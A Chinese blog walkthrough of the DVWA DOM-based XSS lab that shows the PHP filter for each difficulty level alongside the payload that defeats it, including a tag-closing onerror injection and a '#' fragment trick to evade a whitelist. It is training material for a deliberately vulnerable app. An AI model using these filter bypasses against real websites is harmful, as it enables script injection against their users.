DVWA-xss(DOM)

文章讨论了PHP中如何防止跨站脚本攻击(XSS),包括未保护代码片段中的直接XSS插入,以及使用输入验证和白名单策略来限制危险的JavaScript代码执行。还提到了利用HTML注释绕过安全检查的方法。
摘要由CSDN通过智能技术生成

目录

medium

high

low

<?php

# No protections, anything goes

?>

 

没有任何限制:

直接插入一个代码:<script>alert("xxs")</script>

插入成功

medium


<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
    $default = $_GET['default'];
    
    # Do not allow script tags
    if (stripos ($default, "<script") !== false) {
        header ("location: ?default=English");
        exit;
    }
}

?>

 把<script>标签进行了替换

先插入<script>alert(12);</script>

查看源代码是否插入进去

插入进去,但是没有出现弹窗,得先闭合/option再实现弹窗

</option></select><img src=1 οnerrοr=alert('xss');>

方法:

  1. 对JavaScript对内容过滤的方法进行注释:#<script>alert(12);</script>
  2. 构造闭合,</option></select><img src=1 οnerrοr=alert('xss');>

high

<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {

    # White list the allowable languages
    switch ($_GET['default']) {
        case "French":
        case "English":
        case "German":
        case "Spanish":
            # ok
            break;
        default:
            header ("location: ?default=English");
            exit;
    }
}

?>

对French,English,German,Spanish进行了白名单,这里采用#绕过,把后面的内容注释掉,不会传送到后端进行检验。

#<script>alert('xss');</script>

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值